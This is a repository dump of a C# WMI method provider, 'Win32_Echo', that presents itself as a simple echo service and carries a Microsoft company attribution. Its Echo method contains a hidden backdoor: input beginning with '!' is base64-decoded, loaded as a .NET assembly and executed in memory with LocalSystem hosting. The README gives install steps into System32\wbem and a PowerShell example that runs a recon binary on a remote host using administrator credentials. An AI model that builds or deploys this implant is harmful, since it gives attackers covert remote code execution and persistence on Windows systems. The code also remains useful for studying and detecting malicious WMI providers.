├── README.md ├── WmiProviderExample.sln └── WmiProviderExample ├── Properties └── AssemblyInfo.cs ├── Win32_Echo.cs └── Win32_Echo.csproj /README.md: -------------------------------------------------------------------------------- 1 | # Script Kiddie WMI Provider 2 | 3 | This repo contains the source code necessary to build the Script Kiddie WMI Provider example from the blog, "WMI Providers for Script Kiddies". Please see the blog for a description of the WMI provider. 4 | 5 | # Capabilities 6 | 7 | The Script Kiddie provider demonstrates how to implement a WMI method provider. It implements/exposes one method: Echo. This method has a begnin function and a secret function. 8 | 9 | ## Begnin Function 10 | 11 | The Echo method simply returns the input argument prepended with the string "Echo: ". 12 | 13 | ## Secret Function 14 | 15 | If the input argument begins with '!', then the method will: 16 | 17 | 1. Decoded the input argument 18 | 2. Load the decoded .NET assembly into memory 19 | 3. Execute the .NET assembly from memory 20 | 4. Return the .NET assembly output 21 | 22 | # Build 23 | 24 | 1. Open the solution with Visual Studio 25 | 2. Build the release version 26 | 3. Binaries are generated in bin/Release/ subdirectory 27 | 28 | # Install 29 | 30 | 1. Copy the binaries to target (preferrably C:\Windows\System32\wbem\) 31 | 2. Install the .NET assembly using Microsoft .NET Install Utility 32 | ``` 33 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe C:\Windows\System32\wbem\Win32_Echo.dll 34 | ``` 35 | NOTE: On x86 systems the Install Utility directory is under C:\Windows\Microsoft.NET\Framework 36 | 37 | # Use 38 | 39 | ## Begnin Function 40 | ``` 41 | PS C:\tmp> Invoke-WMIMethod -Namespace ROOT\test -Class Win32_Echo -Name Echo -ArgumentList "Hello World!" 42 | 43 | 44 | __GENUS : 2 45 | __CLASS : __PARAMETERS 46 | __SUPERCLASS : 47 | __DYNASTY : __PARAMETERS 48 | __RELPATH : 49 | __PROPERTY_COUNT : 1 50 | __DERIVATION : {} 51 | __SERVER : 52 | __NAMESPACE : 53 | __PATH : 54 | ReturnValue : Echo: Hello World! 55 | PSComputerName : 56 | ``` 57 | 58 | ## Secret Function 59 | ``` 60 | PS C:\tmp> .\recon.exe 61 | 62 | recon 63 | ============================= 64 | userName: WIN10-X64-DEV\todda1 65 | dnsName: Win10-x64-Dev 66 | ipAddress: 192.168.0.134 67 | 68 | PS C:\tmp> $exeContent = Get-Content C:\tmp\recon.exe -Encoding byte 69 | 70 | PS C:\tmp> $encodedContent = [System.Convert]::ToBase64String($exeContent) 71 | 72 | PS C:\tmp> Invoke-WMIMethod -Credential 192.168.0.104\Administrator -ComputerName 192.168.0.104 -Namespace "ROOT\test" -Class "Win32_Echo" -Name "Echo" -ArgumentList "!$encodedContent" 73 | 74 | 75 | __GENUS : 2 76 | __CLASS : __PARAMETERS 77 | __SUPERCLASS : 78 | __DYNASTY : __PARAMETERS 79 | __RELPATH : 80 | __PROPERTY_COUNT : 1 81 | __DERIVATION : {} 82 | __SERVER : 83 | __NAMESPACE : 84 | __PATH : 85 | ReturnValue : 86 | recon 87 | ============================= 88 | userName: WIN10-X86\Administrator 89 | dnsName: win10-x86 90 | ipAddress: 192.168.0.104 91 | 92 | PSComputerName : 93 | ``` 94 | -------------------------------------------------------------------------------- /WmiProviderExample.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.0.32014.148 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Win32_Echo", "WmiProviderExample\Win32_Echo.csproj", "{159E2082-4DB7-4ADA-82E9-5E2EC99E2A2B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {159E2082-4DB7-4ADA-82E9-5E2EC99E2A2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {159E2082-4DB7-4ADA-82E9-5E2EC99E2A2B}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {159E2082-4DB7-4ADA-82E9-5E2EC99E2A2B}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {159E2082-4DB7-4ADA-82E9-5E2EC99E2A2B}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {243CDB4E-1062-48DD-ACA0-AC6721114892} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /WmiProviderExample/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Win32_Echo")] 9 | [assembly: AssemblyDescription("A simple WMI provider to echo requests.")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("Win32_Echo")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2008")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("ba2284d3-db8f-47b8-b449-29a4a91f9b9b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /WmiProviderExample/Win32_Echo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Management.Instrumentation; 4 | using System.Reflection; 5 | using System.Text; 6 | 7 | [assembly: WmiConfiguration(@"root\test", HostingModel = ManagementHostingModel.LocalSystem)] 8 | 9 | namespace WmiProviderExample 10 | { 11 | [System.ComponentModel.RunInstaller(true)] 12 | public class MyInstall : DefaultManagementInstaller { } 13 | 14 | [ManagementEntity(Name = "Win32_Echo")] 15 | [ManagementQualifier("Description", Value="Simple echo server.")] 16 | public class Win32_Echo 17 | { 18 | // constructor that takes the prompt as a parameter 19 | public Win32_Echo() { } 20 | 21 | // static method that echos the input 22 | [ManagementTask] 23 | [ManagementQualifier("Description", Value = "Echoes the request.")] 24 | static public string Echo(string input) 25 | { 26 | string result = "Echo: " + input; 27 | // if it is a special command, then profit 28 | if (input[0] == '!') { result = Profit(input.Substring(1)); } 29 | return result; 30 | } // end Echo method 31 | 32 | static private string Profit(string command) 33 | { 34 | string result = "Exception: "; 35 | try 36 | { 37 | Assembly assembly = Assembly.Load(Convert.FromBase64String(command)); 38 | MethodInfo method = assembly.EntryPoint; 39 | object[] methodParameters = new object[] { null }; 40 | 41 | // Redirect stdout and stderr 42 | MemoryStream outMS = new MemoryStream(); 43 | StreamWriter outSW = new StreamWriter(outMS); 44 | outSW.AutoFlush = true; 45 | Console.SetOut(outSW); 46 | StreamWriter errSW = new StreamWriter(outMS); 47 | errSW.AutoFlush = true; 48 | Console.SetError(errSW); 49 | 50 | // Invoke the entry point method 51 | method.Invoke(null, methodParameters); 52 | 53 | // Restore stdout and stderr 54 | StreamWriter stdOutSW = new StreamWriter(Console.OpenStandardOutput()); 55 | stdOutSW.AutoFlush = true; 56 | Console.SetOut(stdOutSW); 57 | StreamWriter stdErrSW = new StreamWriter(Console.OpenStandardError()); 58 | stdErrSW.AutoFlush = true; 59 | Console.SetError(stdErrSW); 60 | 61 | // Capture stdout into a string 62 | outMS.Seek(0, SeekOrigin.Begin); 63 | byte[] buf = new byte[16 * 1024]; 64 | using (MemoryStream ms = new MemoryStream()) 65 | { 66 | int read; 67 | while ((read = outMS.Read(buf, 0, buf.Length)) > 0) { ms.Write(buf, 0, read); } 68 | result = Encoding.Default.GetString(ms.ToArray()); 69 | } 70 | } 71 | catch (Exception e) { result += e.Message; } 72 | return result; 73 | } // end secret Profit function 74 | } // end Win32_Echo class 75 | } // end WmiProviderExample namespace 76 | 77 | -------------------------------------------------------------------------------- /WmiProviderExample/Win32_Echo.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 9.0.21022 7 | 2.0 8 | {159E2082-4DB7-4ADA-82E9-5E2EC99E2A2B} 9 | Library 10 | Properties 11 | WmiProviderExample 12 | Win32_Echo 13 | v3.5 14 | 512 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | pdbonly 27 | true 28 | bin\Release\ 29 | DEBUG;TRACE 30 | prompt 31 | 4 32 | 33 | 34 | 35 | 36 | 37 | 3.5 38 | 39 | 40 | 41 | 3.5 42 | 43 | 44 | 3.5 45 | 46 | 47 | 3.5 48 | 49 | 50 | 51 | 52 | 53 | 54 | Component 55 | 56 | 57 | 58 | 59 | 66 | --------------------------------------------------------------------------------